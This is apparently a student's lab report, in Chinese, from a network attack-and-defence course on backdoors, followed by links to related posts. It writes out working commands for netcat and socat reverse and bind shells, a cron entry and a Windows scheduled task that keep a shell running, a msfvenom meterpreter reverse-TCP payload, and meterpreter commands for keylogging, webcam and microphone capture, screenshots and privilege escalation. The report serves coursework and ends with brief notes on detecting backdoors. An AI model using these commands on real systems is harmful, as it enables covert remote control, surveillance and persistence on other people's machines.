## 实验二 后门原理与实践

1.Windows获得Linux Shell

  • 在windows下,打开CMD,使用ipconfig指令查看本机IP

  • ncat.exe -l -p 5236监听本机的5236端口

  • 在kali端,使用nc指令的-e选项,nc XXX.XXX.XXX.XXX(主机ip) 5236(所设置的端口) -e /bin/sh反向连接Windows主机的5236端口:

  • 在windows端,就可以使用kali的命令行


2.Linux获得Windows Shell

1)在Kali环境下用ifconfig查看IP

2)使用nc指令,nc -l -p 5236,监听5236端口

然后,在windows,输入ncat.exe -e cmd.exe 192.168.128.128 5236
然后,在kali端,就可以使用windows的cmd了


3.使用netcat获取主机操作Shell,cron启动

1)先在Windows系统下,ncat.exe -l -p 5236,监听5236端口

crontab -e指令编辑一条定时任务

在最后一行加入XX * * * * /bin/netcat XXXXXXX 5236 -e /bin/sh,意思是在每个小时的第XX分钟(为测试结果方便所选时间最好离现实时间较近)反向连接Windows主机的5236端口,就会启动cron

2)到时间后,便获得了Kali的shell,可以输入指令


4.使用socat获取主机操作Shell, 任务计划启动

1)在Windows系统下,打开控制面板->管理工具->任务计划程序(可在控制面板直接搜索任务计划),创建任务,填写任务名称后,新建一个触发器:

2)下载安装socat软件,下载地址
在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5236 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5236,同时把cmd.exe的stderr重定向到stdout上:

3)创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行,或者可以右键单击,然后选择运行也可以
然后在Kali环境下输入指令socat - tcp:192.168.128.129:5236,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5236端口,此时可以发现已经成功获得了一个cmd shell


5.使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

1)在kali中输入命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.128.128 LPORT=5236 -f exe > 20155236.exe生成后门程序(LHOST=kali linux的IP)
然后通过nc指令将生成的后门程序传送到Windows主机上

  • windows:ncat.exe -l 5236 > 20155236.exe
  • kali:nc 192.168.128.128 5236 < 20155236.exe

在Kali上使用msfconsole指令进入msf控制台,set payload windows/meterpreter/reverse_tcp,使用监听模块,设置payload,设置反弹回连的IP和端口
2)设置完成后,利用exploit,执行监听,在windows中运行20155236.exe

3)此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell

6.使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 使用record_mic指令可以截获一段音频

  • 使用webcam_snap指令可以使用摄像头进行拍照
  • 使用webcam stream指令可以使用摄像头进行录像
  • 使用screenshot指令可以进行截屏
  • 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录
  • 先使用getuid指令查看当前用户,使用getsystem指令进行提权。

基础问题回答

1.例举你能想到的一个后门进入到你系统中的可能方式?

  • 安装一些应用软件时
  • 登录非法网页时

2.例举你知道的后门如何启动起来(win及linux)的方式?

  • windows:实验中做过的方式有直接双击开启后门程序、通过Windows->控制面板->管理工具启动任务计划程序、开机自启动的后门、和其他程序捆绑运行的后门程序
  • linux:通过在cron中添加任务,定时执行、通过一些脚本启动后门程序、通过和其他程序捆绑运行后门程序。
  • 3.Meterpreter有哪些给你映像深刻的功能?

  • 获取目标主机摄像头摄像头摄像头
  • 录音

4.如何发现自己有系统有没有被安装后门?

低级一点的后门程序估计寻常的杀毒软件就可以查杀,比如我这次实验做的,一发送给主机就被360拦截了。
至于隐藏的稍深一些的后门,例如与软件捆绑的后门,可以下载一些比较专业的监视软件,例如下载者监视器1.0、Regmon704.rar等进行检测。

20155236范晨歌 Exp2后门原理与实践的更多相关文章

  1. 20155236范晨歌_EXP3免杀原理与实践

    20155236范晨歌_免杀原理与实践 免杀 概述 免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-AntiVirus(简写Virus AV),逐字 ...

  2. 20155236范晨歌_Web安全基础实践

    20155236范晨歌_Web安全基础实践 目录 实践目标 WebGoat BurpSuite Injection Flaws Cross-Site Scripting (XSS) 总结 实践目标 ( ...

  3. 20155236范晨歌_Web基础

    20155236范晨歌_Web基础 目录 实践目标 Apache 前端编程 后端编程 PHP MYSQL & 后端 简单SQL注入与XSS 发帖和会话管理 实践目标 (1)Web前端HTML ...

  4. 20155236范晨歌_MSF基础应用

    20155236范晨歌_MSF基础应用 20155236范晨歌_MSF基础应用 目录 概述 MS08-067漏洞攻击 MS11-050漏洞攻击 MS10-087漏洞攻击 辅助模块 概述 MSF的六种模 ...

  5. 20155236范晨歌 Exp7 网络欺诈技术防范

    20155236范晨歌 Exp7 网络欺诈技术防范 虚拟机经常崩= =,所以基本上做一个实验换一个... 遇到了一个简单的小问题老师帮忙解决了:虚拟机没联网... 一.基础问题回答 通常在什么场景下容 ...

  6. 20155236范晨歌_exp6信息搜集与漏洞扫描

    20155236范晨歌_exp6信息搜集与漏洞扫描 目录 实践目标 信息搜集 漏洞扫描 总结 实践目标 (1)各种搜索技巧的应用 (2)DNS IP注册信息的查询 (3)基本的扫描技术:主机发现.端口 ...

  7. 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...

  8. 20155324《网络对抗》Exp2 后门原理与实践

    20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...

  9. 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...

随机推荐

  1. Python 3从入门到精通02-python的简单使用

    Python 3中的打印语句和字符串使用: Python中的常见数学运算: 这样的简单基础知识,你需要花5分钟就可以了,很基础的东西.

  2. Oracle EBS PO 接受入库

  3. angularjs-$location

    $location服务分析浏览器地址栏中的URL(基于window.location),让我们可以在应用中较为方便地使用URL里面的内容.在地址栏中更改URL,会响应到$location服务中,而在$ ...

  4. 记一次webservice的超时时间设置

    一次项目组中需要控制超时时间,前期习惯用CXF实现,熟悉的才是最好的.所以这次依然想用CXF实现. 实现的方式代码如下: static{ String fvpWebserviceUrl = Prope ...

  5. 操作系统的三个接口 shell gui api

    操作系统的三个接口 shell gui api 编程语言是用来告诉操作系统干什么的语言. 编程语言是人机交互语言. 程序.进程:任务集.

  6. Guava包学习--Hash

    我们HashMap会有一个rehash的过程,为什么呢?因为java内建的散列码被限制为32位,而且没有分离散列算法和所作用的数据,所以替代算法比较难做.我们使用HashMap的时候它自身有一个reh ...

  7. Day15 集合(二)

    Set简介 定义 public interface Set<E> extends Collection<E> {} Set是一个继承于Collection的接口,即Set也是集 ...

  8. ethers.js-1

    https://docs.ethers.io/ethers.js/html/ What is ethers.js The ethers.js library aims to be a complete ...

  9. 东芝线阵CCD芯片TCD1305DG驱动时序设计

    最近在做微型光谱仪,用到了东芝的CCD芯片TCD1305DG,该芯片是单行3648像素,输出信号是时间上离散的模拟信号,典型输出速率为0.5M,即每2000ns输出一个像素值(模拟信号),芯片内部集成 ...

  10. Oracle(一)执行计划

    目录 一.什么是执行计划 二.如何查看执行计划 三.如何读懂执行计划 1. 执行顺序的原则 2. 执行计划中字段解释 3. 谓词说明 4. JOIN方式 4.1 HASH JOIN(散列连接) 4.2 ...